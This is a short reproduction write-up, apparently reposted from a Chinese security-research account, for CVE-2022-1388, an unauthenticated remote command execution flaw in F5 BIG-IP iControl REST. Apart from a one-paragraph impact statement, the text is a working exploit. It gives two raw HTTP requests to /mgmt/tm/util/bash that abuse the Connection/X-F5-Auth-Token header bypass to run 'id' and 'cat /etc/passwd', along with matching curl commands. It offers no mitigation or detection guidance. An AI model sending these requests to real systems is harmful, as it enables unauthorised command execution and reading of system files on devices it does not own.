​CVE-2022-1388 BIG-IP iControl REST 漏洞复现

CVE-2022-1388：BIG-IP iControl REST 漏洞

Impact

This vulnerability may allow an unauthenticated attacker with network access to the BIG-IP system through the management port and/or self IP addresses to execute arbitrary system commands, create or delete files, or disable services. There is no data plane exposure; this is a control plane issue only.

# F5 BIG-IP RCE exploitation (CVE-2022-1388)

POST (1): 

POST /mgmt/tm/util/bash HTTP/1.1
Host: <redacted>:8443
Authorization: Basic YWRtaW46
Connection: keep-alive, X-F5-Auth-Token
X-F5-Auth-Token: 0

{"command": "run" , "utilCmdArgs": " -c 'id' " }

curl commandliner: 

$ curl -i -s -k -X $'POST'
-H $'Host: <redacted>:8443' 
-H $'Authorization: Basic YWRtaW46' 
-H $'Connection: keep-alive, X-F5-Auth-Token' 
-H $'X-F5-Auth-Token: 0' 
-H $'Content-Length: 52' 
--data-binary $'{"command": "run" , "utilCmdArgs": " -c 'id' " }x0dx0a'
$'https://<redacted>:8443/mgmt/tm/util/bash' --proxy http://127.0.0.1:8080


POST (2):

POST /mgmt/tm/util/bash HTTP/1.1
Host: <redateced>:8443
Authorization: Basic YWRtaW46
Connection: keep-alive, X-F5-Auth-Token
X-F5-Auth-Token: 0

{"command": "run" , "utilCmdArgs": " -c ' cat /etc/passwd' " }

curl commandliner:

$ curl -i -s -k -X $'POST'
-H $'Host: <redacted>:8443' 
-H $'Authorization: Basic YWRtaW46' -H $'Connection: keep-alive, X-F5-Auth-Token' 
-H $'X-F5-Auth-Token: 0'
--data-binary $'{"command": "run" , "utilCmdArgs": " -c ' cat /etc/passwd' " }x0dx0ax0dx0a'
$'https://<redacted>/mgmt/tm/util/bash' --proxy http://127.0.0.1:8080

Connection: close, X-Foo, X-Bar

原文始发于微信公众号（山石网科安全技术研究院）：​CVE-2022-1388 BIG-IP iControl REST 漏洞复现